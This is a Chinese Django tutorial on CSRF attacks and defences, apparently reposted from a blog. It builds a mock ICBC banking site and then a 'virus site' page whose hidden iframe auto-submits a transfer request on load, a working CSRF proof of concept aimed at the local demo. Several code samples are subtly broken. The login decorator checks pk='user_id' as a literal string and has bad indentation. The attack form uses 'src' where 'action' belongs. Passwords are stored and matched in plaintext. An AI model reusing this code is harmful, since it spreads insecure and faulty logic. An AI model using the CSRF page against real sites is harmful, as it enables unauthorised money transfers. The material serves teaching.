148.CSRF攻击原理分析、防御、装饰器、中间件、IFrame以及js实现csrf攻击

CSRF攻击概述:

CSRF(Cross Site Request Forgery 跨站域请求伪造)是一种网站攻击的方式,它在2007年曾被列为互联网20大安全隐患之一。其他的安全隐患,比如SQL脚本注入,跨站域脚本攻击等在近年来已经逐渐为众人熟知,很多网站也都针对他们进行了防御。然而,对于大多数人来说,CSRF还是很陌生的,Gmail在2007年底也存在csrf漏洞,从而被黑客攻击而使Gmail的用户造成巨大的损失。

CSRF攻击原理:

网站是通过cookie来实现登录功能的。而cookie只要存在浏览器中,那么浏览器在访问这个cookie的服务器的时候,就会自动的携带cookie信息到服务器上去。那么这个时候就存在一个漏洞了,如果你访问了一个病毒网站或者是别有用心的网站,这个网站可以在网页源代码中插入js代码,使用js代码给其他服务器发送请求(比如ICBC的转账请求)。那么因为在发送请求的时候,浏览器会自动的把cookie发送给对应的服务器,这时候相应的服务器(比如ICBC网站),就不知道这个请求是伪造的,从而就可以达到在用户不知情的情况下,给服务器发送一个请求(转账)。

防御CSRF攻击:

CSRF攻击的要点就是在向服务器发送请求的时候,相应的cookie会自动的发送给对应的服务器。造成服务器不知道这个请求的情况下是用户发起的还是伪造的。这时候,我们可以在用户每次访问有表单的页面的时候,在网页源代码中加入一个随机的字符串叫做csrf_token,在cookie中也加入一个相同值的csrf_token字符串。以后给服务器发送请求的时候,必须在body中以及在cookie中都携带csrf_token,服务器只有检测到cookie中的csrf_token和body中csrf_token都相同,才认为这个请求是合法的。

实例

比如,我们要实现一个icbc网站注册、登录、退出登录、转账的功能。

(1)views.py文件中示例代码如下:
from django.shortcuts import render, redirect, reverse
from django.http import HttpResponse
<!--定义类视图,导入View-->
from django.views import View
<!--导入我们定义的用户模型User-->
from .models import User
<!--导入定义的表单,可创建表单对象-->
from .forms import SignupForm, SigninForm, TransferForm
<!--导入django.contrib.messages可以在浏览器中显示错误信息以及级别-->
from django.contrib import messages
<!--导入F表达式,可以动态获取数据库中某字段的数据,而不执行sql语句,直接在原来的数据之上更新-->
from django.db.models import F

<!--1. 定义首页,直接返回一个html模板-->
def index(request):
    return render(request,'index.html')

<!--2. 定义一个注册的类视图-->
class SignupView(View):

    <!--如果浏览器发送的是get请求,就返回一个注册的模板-->
    def get(self, request):
        return render(request, 'signup.html')

    <!--如果浏览器发送过来的是post请求,就通过表单验证数据的合法性-->
    def post(self, request):
        form = SignupForm(request.POST)
        if form.is_valid():
        <!--合法的话,就将提交上来的数据保存到数据库中,并且重定向到登录界面-->
            form.save()
            return redirect(reverse('signin'))
        else:
        <!--不合法的话,就在控制台打印出错误信息,并且重定向到当前的注册界面-->
            print(form.errors.get_json_data())
            return redirect(reverse('signup'))

<!--2. 定义登录类视图-->
class SigninView(View):

    <!--如果浏览器发送的是get请求,就返回登录界面的模板-->
    def get(self, request):
        return render(request,'signin.html')

    <!--如果浏览器发送的是post请求,就验证数据库中是否有与提交上来的数据相同的一条数据-->
    def post(self, request):
        form = SigninForm(request.POST)
        if form.is_valid():
            username = form.cleaned_data.get('username')
            password = form.cleaned_data.get('password')
            email = form.cleaned_data.get('email')
            user = User.objects.get(username=username, password=password, email=email)
            <!--如果存在,就在cookie中设置一个session_id即为登录的用户的pk,并且重定向到转账界面-->
            if user:
                request.session['user_id'] = user.pk
                return redirect(reverse('transfer'))
            else:
            <!--如果不存在该用户,就重定向到注册界面-->
                return redirect(reverse('signup'))
        else:
        <!--如果表单中的信息没有得到验证,就打印出错误信息-->
            print(form.errors.get_json_data())
            return HttpResponse('请确定输入的信息是否正确!')

<!--3. 定义转账类视图-->
class TransferView(View):

    <!--如果浏览器发送的是get请求,就返回转账的模板-->
    def get(self,request):
        return render(request, 'transfer.html')

    <!--如果浏览器发送的是post请求,首先通过表单验证数据是否合法-->
    def post(self, request):
        form = TransferForm(request.POST)
        context = {
            'info': '转账成功!'
        }
        if form.is_valid():
            email = form.cleaned_data.get('email')
            money = form.cleaned_data.get('money')
            user_id = request.session.get('user_id')
            user = User.objects.filter(pk=user_id).first()
            <!--如果可以在数据库中查找pk与cookie中的session_id相同的一条数据,就将该用户上的余额减去money-->
            <!--首先我们需要判断用户的余额是否大于提交的转账的money,只有大于等于money,我们才可以执行以下操作-->
            if user.balance >= money:
                user.balance -= money
                user.save()
                <!--并且将email为输入email的用户的余额加money-->
                <!--这里我们可以直接使用update()和F表达式,这样可以减少数据库的查询操作,提高查询效率-->
                User.objects.filter(email=email).update(balance=F('balance')+money)
                return render(request, 'transfer.html', context={'context': context})
            else:
            <!--如果约小于money,就返回给用户余额不足-->
                return HttpResponse('余额不足!')
        else:
        <!--如果表单验证没有通过,就打印出错误信息-->
            print(form.errors.get_json_data())
            <!--并且重定向到当前的转账界面-->
            return redirect(reverse('transfer'))

<!--4. 定义退出登录类视图-->
def Logout(request):
    # 其实,调用flush()方法的时候,首先会将cookie中的session_id中的内容清空,并不会直接删除在cookie记录的session_id,
    # 如果再次执行该函数就会将原来cookie中还保留的session_id 删除。
    request.session.flush()
    context = {
        'info': '成功退出登录',
    }
    return render(request, 'index.html', context={'context': context})
(2)urls.py文件中进行视图函数与url之间的映射,示例代码如下:
from django.urls import path
from front import views

urlpatterns = [
    path('', views.index, name='index'),
    path('signup/', views.SignupView.as_view(), name='signup'),
    path('signin/', views.SigninView.as_view(), name='signin'),
    path('transfer/', views.TransferView.as_view(), name='transfer'),
    path('logout/', views.Logout, name='logout'),

]
(3)index.html(中国工商银行首页)中示例代码如下:
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>ICBC</title>
</head>
<body>
<h1>中国工商银行首页</h1>
<ul>
    <li><a href="{% url 'signin' %}">登录</a></li>
    <li><a href="{% url 'signup' %}">注册</a></li>
    <li><a href="{% url 'logout' %}">退出登录</a></li>
    {{ context.info }}
</ul>
</body>
</html>
(4)signup.html(注册界面)示例代码如下:
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>ICBC</title>
</head>
<body>
<h1>中国工商银行注册界面</h1>
<form action="" method="post">
<!--使用csrf_token标签,在浏览器加载的时候,可以自动生成一个csrf_token的input标签-->
    {% csrf_token %}
    <table>
        <tr>
            <td>用户名:</td>
            <td><input type="text" name="username"></td>
        </tr>
        <tr>
            <td>密码:</td>
            <td><input type="password" name="password"></td>
        </tr>
        <tr>
            <td>确认密码:</td>
            <td><input type="password" name="password_repeat"></td>
        </tr>
        <tr>
            <td>邮箱:</td>
            <td><input type="email" name="email"></td>
        </tr>
        <tr>
            <td></td>
            <td><input type="submit" value="提交"></td>
        </tr>
        <tr>
            <td></td>
            <td>
                <ul>
                    {% for message in messages %}
                        <li>{{ message }}</li>
                    {% endfor %}
                </ul>
            </td>
        </tr>
    </table>
</form>
</body>
</html>
(5)signin.html(登录界面)示例代码如下:
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>ICBC</title>
</head>
<body>
<h1>中国工商银行登录界面</h1>
<form action="" method="post">
    {% csrf_token %}
    <table>
        <tr>
            <td>用户名:</td>
            <td><input type="text" name="username"></td>
        </tr>
        <tr>
            <td>密码:</td>
            <td><input type="password" name="password"></td>
        </tr>
        <tr>
            <td>邮箱:</td>
            <td><input type="email" name="email"></td>
        </tr>
        <tr>
            <td></td>
            <td><input type="submit" value="提交"></td>
        </tr>
    </table>
</form>
</body>
</html>
(6)transfer.html(转账界面)示例代码如下:
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>ICBC</title>
</head>
<body>
<h1 style="margin: auto">
    中国工商银行转账界面
</h1>
<form action="" method="post">
    {% csrf_token %}
    <table>
        <tr>
            <td>转账给邮箱:</td>
            <td><input type="email" name="email"></td>
        </tr>
        <tr>
            <td>金额:</td>
            <td><input type="text" name="money"></td>
        </tr>
        <tr>
            <td></td>
            <td><input type="submit" value="提交"></td>
        </tr>
    </table>
</form>
{{ context.info }}
<ul>
    <button><a href="{% url 'logout' %}">退出登录</a></button>
</ul>
</body>
</html>
(7)User模型的定义,models.py文件中示例代码如下:
from django.db import models
from django.core import validators

class User(models.Model):
    username = models.CharField(max_length=20)
    password = models.CharField(max_length=24, validators=[validators.MinLengthValidator(6)])
    email = models.EmailField()
    balance = models.FloatField(default=0)  # 余额

    class Meta:
        db_table = 'user'
(8)定义表单验证我们使用post请求提交的信息,forms.py文件中示例代码如下:
from .models import User
from django import forms

<!--定义注册表单的验证-->
<!--注意,这里继承的是Model.Form,而不是Form-->
class SignupForm(forms.ModelForm):
    password_repeat = forms.CharField(max_length=24, min_length=6)

    class Meta:
        model = User
        fields = ['username', 'password','email']

    <!--判断两个字段的值是否相同,可以通过重写类的clean()方法-->
    def clean(self):
        clean_data = super(SignupForm, self).clean()
        password = clean_data.get('password')
        password_repeat = clean_data.get('password_repeat')
        if password != password_repeat:
            raise forms.ValidationError('两次输入密码不一致!')

        <!--注意,如果用户的两次密码输入相同,一定要返回clean_data-->
        return clean_data

<!--定义登录表单的验证-->
class SigninForm(forms.ModelForm):

    class Meta:
        model = User
        fields = ['username', 'password', 'email']

<!--定义转账表单的验证-->
class TransferForm(forms.Form):
    email = forms.CharField(max_length=30)
    money = forms.FloatField()

==此时,该网站有一个小bug,就是在用户点击退出登录,或者是直接将浏览器中cookie中的session_id删除之后,同样可以访问转账的界面,这样的话,就有些不符合情理了。==

装饰器:实现没有登录不能访问转账的界面

(1)这个就可以使用装饰器来实现,自定义装饰器。可以在APP中创建一个python文件(decorators.py),定义装饰器函数,示例代码如下:
def login_decorator(func):

    def wrapper(request, *args, **kwargs):
        <!--首先,我们可以通过cookie的session中是否有user_id,来判断用户是否登录-->
        user_id = request.session.get('user_id')
        exists = User.objects.filter(pk='user_id').exists()
        if exists:
            return func(request, *args, **kwargs)
        else:
        return redirect(reverse('signin'))
    return wrapper
(2)在views.py中导入写好的装饰器,并且装饰到转账类视图上,示例代码如下:
<!--导入装饰类视图的函数method_decorator-->
from django.utils.decorators import method_decorator
<!--导入自定义的装饰器函数-->
from .decorators import login_decorator

<!--装饰转账类视图-->
@method_decorator(login_decorator, name='dispatch')
<!--直接在类视图之前添加上面一行代码就行-->
class TransferView(View):

    def get(self,request):
        return render(request, 'transfer.html')

    def post(self, request):
        form = TransferForm(request.POST)
        context = {
            'info': '转账成功!'
        }
        if form.is_valid():
            email = form.cleaned_data.get('email')
            money = form.cleaned_data.get('money')
            user_id = request.session.get('user_id')
            user = User.objects.filter(pk=user_id).first()
            if user.balance >= money:
                user.balance -= money
                user.save()
                User.objects.filter(email=email).update(balance=F('balance')+money)
                return render(request, 'transfer.html', context={'context': context})
            else:
                return HttpResponse('余额不足!')
        else:
            print(form.errors.get_json_data())
            return redirect(reverse('transfer'))
(3)之后,如果不登录就访问转账的界面http://127.0.0.1:8001/transfer/,就会重定向到登录的界面,不允许用户在未登录的情况下访问转账界面。

中间件优化ICBC网站

在我们以上的代码中,多次进行判断cookie的session中是否存在user_id,从数据库中查找与user_id相同的pk。所以,我们可以将这个直接定义为一个中间件,直接将这样的用户定义为front_user,并且绑定在request上。在APP中创建一个middlewares.py文件,用来存放自定义的中间件的函数,示例代码如下:
from .models import User

def front_user_middleware(get_response):
    print('front_user_middleware初始化执行的代码....')

    def middleware(request):
        print("request到达view视图之前执行的代码....")
        user_id = request.session.get('user_id')
        <!--注意,这里一定要先判断user_id的存在性之后,再从user表中查找user_id用户-->
        if user_id:
            try:
                user = User.objects.get(pk=user_id)
                request.front_user = user
            except:
                request.front_user = None
        else:
            request.front_user = None

        response = get_response(request)
        print('response到达浏览器之前执行的代码....')

        return response

    return middleware
之后,在项目的settings.py文件中的MIDDLEWARE添加我们自定义的中间件函数,规则为:appname.pythonfilename.functionname,front.middlewares.front_user_middleware。

IFrame相关知识

1. iframe可以加载嵌入别的域名下的网页。也就是说可以发送跨域请求。比如我可以在自己的网页中加载百度的网站,示例代码如下:
<iframe src="http://www.baidu.com/"></iframe>
2.因为iframe加载的是别的域名下的网页,根据同源策略,js只能操作属于本域名下的代码,因此,js不能操作通过iframe加载来的DOM元素。
3.如果iframe的src属性为空,那么就没有同源策略的限制,这时候我们就可以操作iframe下面的代码了。并且,如果src为空,那么我们可以在iframe中,给任何域名发送请求。
4.直接在iframe中写html代码,浏览器并不会加载。因此,我们可以先让网页加载html代码,之后执行js代码将html加载进入iframe向指定的url发送请求。

比如,我们现在可以创建一个新的项目,实现js操作iframe向我们的icbc银行网站发送一个转账给孤烟逐云([email protected])100元的请求,只是实现一个首页。

(1)views.py文件中示例代码如下:
from django.shortcuts import render

def index(request):
    return render(request, 'index.html')
(2)urls.py文件中进行视图函数与url之间的映射,示例代码如下:
from django.urls import path
from .import views

urlpatterns = [
    path('', views.index, name='index'),
]
(3)index.html代码如下:
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>病毒网站</title>
    <script src="http://apps.bdimg.com/libs/jquery/2.1.4/jquery.min.js"></script>
</head>
<body>
<img src="http://cms-bucket.nosdn.127.net/312e057a25f148519dc02b40812c78fe20170510155251.gif" alt="" width="100%"
     height="100%">
     <iframe src="" frameborder="" style="width:0; height: 0;" id="myframe"></iframe>
     <form src="http://127.0.0.1:8002/transfer/" method="post" id="myform">
        <input type="text" name="email" value="[email protected]">
        <input type="text" name="money" value="100">
     </form>
     <script>
        window.onload = function() {
            $('#myframe').contents().find('html').html($('#myform'));
            $('#myframe').contents().find('html').children($('#myform')).submit();
        }
     </script>
</body>
</html>
这个时候,如果我们登录的icbc网站转账的cookie中还保留有我们的信息,这个时候只要访问了我们定义的病毒网站的首页,我们登录的用户数据库中的余额就会少100元。当然了,进行这种csrf攻击的前提是我们在icbc网站的项目settings.py文件中没有开启中间件CsrfMiddleware。如果开启了该中间件,就不能进行这种csrf攻击了。

原文地址:https://www.cnblogs.com/guyan-2020/p/12347200.html

时间: 2024-11-01 12:18:19

148.CSRF攻击原理分析、防御、装饰器、中间件、IFrame以及js实现csrf攻击的相关文章

CSRF攻击原理以及防御

一.CSRF是什么? CSRF(Cross-site request forgery),中文名称:跨站请求伪造,也被称为:one click attack/session riding,缩写为:CSRF/XSRF. 二.CSRF可以做什么? 你这可以这么理解CSRF攻击:攻击者盗用了你的身份,以你的名义发送恶意请求.CSRF能够做的事情包括:以你名义发送邮件,发消息,盗取你的账号,甚至于购买商品,虚拟货币转账......造成的问题包括:个人隐私泄露以及财产安全. 三.CSRF漏洞现状 CSRF这

CSRF 攻击原理和防御方法

1. CSRF攻击原理 CSRF(Cross site request forgery),即跨站请求伪造.我们知道XSS是跨站脚本攻击,就是在用户的浏览器中执行攻击者的脚本,来获得其cookie等信息.而CSRF确实,借用用户的身份,向web server发送请求,因为该请求不是用户本意,所以称为“跨站请求伪造”. 一般而且存在XSS漏洞的网站,也极有可能存在CSRF漏洞.因为CSRF攻击中的那个“伪造的请求”的URL地址,一般是通过XSS攻击来注入到服务器中的.所以其实CSRF是以XSS为基础

CSRF攻击原理及防御

来源于https://www.cnblogs.com/shytong/p/5308667.html 一.CSRF攻击原理 CSRF是什么呢?CSRF全名是Cross-site request forgery,是一种对网站的恶意利用,CSRF比XSS更具危险性.想要深入理解CSRF的攻击特性我们有必要了解一下网站session的工作原理. session我想大家都不陌生,无论你用.net或PHP开发过网站的都肯定用过session对象,然而session它是如何工作的呢?如果你不清楚请往下看. 先

不可不知 DDoS的攻击原理与防御方法

DoS攻击.DDoS攻击和DRDoS攻击相信大家已经早有耳闻了吧!DoS是Denial of Service的简写就是拒绝服务,而DDoS就是Distributed Denial of Service的简写就是分布式拒绝服务,而DRDoS就是Distributed Reflection Denial of Service的简写,这是分布反射式拒绝服务的意思. 不过这3中攻击方法最厉害的还是DDoS,那个DRDoS攻击虽然是新近出的一种攻击方法,但它只是DDoS攻击的变形,它的唯一不同就是不用占领

从安全攻击实例看数据库安全(三)数据库攻击原理分析

摘要:本文将通过对SQL注入攻击技术和数据库加密技术原理以及防护效果进行深入的分析,来辨析数据库安全技术误区"数据库加密能解决SQL注入",同时本文也给出了SQL注入的防护方法. 1. 数据库安全误区 针对2015年4月互联网大规模报道的全国30省市社保等行业用户信息泄露事件,安华金和对乌云历史报道的社保行业相关漏洞进行集中分析,得出的结论为:大量的信息泄露主要是由于软件中存在的SQL注入漏洞被黑客利用引起的,我们可以把SQL注入比作黑客攻击数据库"锋利的矛".  

CC攻击原理和防御方法

很多朋友都知道木桶理论,一桶水的最大容量不是由它最高的地方决定的,而是由它最低的地方决定,服务器也是一样,服务器的安全性也是由它最脆弱的地方决定的,最脆弱的地方有多危险服务器就有多危险.DDOS也是一样,只要你的服务器存在一个很耗资源的地方,限制又不够,就马上成为别人DDOS的对象.比如SYN-FLOOD,它就是利用服务器的半连接状态比完全连接状态更耗资源,而SYN发动方只需要不停的发包,根本不需要多少资源. 一个好的DDOS攻击必须是通过自己极少资源的消耗带来对方较大的资源消耗,否则比如ICM

浅谈JavaScript DDOS 攻击原理与防御

前言 DDoS(又名"分布式拒绝服务")攻击历史由来已久,但却被黑客广泛应用.我们可以这样定义典型的DDoS攻击:攻击者指使大量主机向服务器发送数据,直到超出处理能力进而无暇处理正常用户的合法请求,最终导致用户无法正常访问网站. 近年来,DDoS攻击手段已日趋多元化——攻击者通过各种奇技淫巧诱使不知情主机参加攻击.比如,[注1]历史上数据量最大(超过400Gbps)的DDoS攻击就是通过[注2]NTP反射完成的.时至今日,我们已经发现一个令人不安的趋势:攻击者通过恶意的JavaScri

界面操作劫持攻击原理与防御方法

1. 攻击原理 界面劫持,分为点击劫持.拖放劫持.触屏劫持.就是我们的点击,拖放,触屏操作被劫持了,而去操作了其它的透明隐藏的界面.其原理是利用透明层+iframe,使用了css中的opacity和z-index等属性,来到达透明和位于其它界面的上方,然后使用iframe来嵌入劫持页面.到达了用户操作的不是它看到的,不是他以为的那个界面,而是那个透明的位于上层的界面. 2. 防御方法 有重要会话的交互页面不允许使用iframe嵌入,或者值允许被同域的iframe嵌入. 2.1 X-Frame-O

DOM-XSS攻击原理与防御

XSS的中文名称叫跨站脚本,是WEB漏洞中比较常见的一种,特点就是可以将恶意HTML/JavaScript代码注入到受害用户浏览的网页上,从而达到劫持用户会话的目的.XSS根据恶意脚本的传递方式可以分为3种,分别为反射型.存储型.DOM型,前面两种恶意脚本都会经过服务器端然后返回给客户端,相对DOM型来说比较好检测与防御,而DOM型不用将恶意脚本传输到服务器在返回客户端,这就是DOM型和反射.存储型的区别,所以我这里就单独的谈一下DOM型XSS. DOM文档 为了更好的理解DOM型XSS,先了解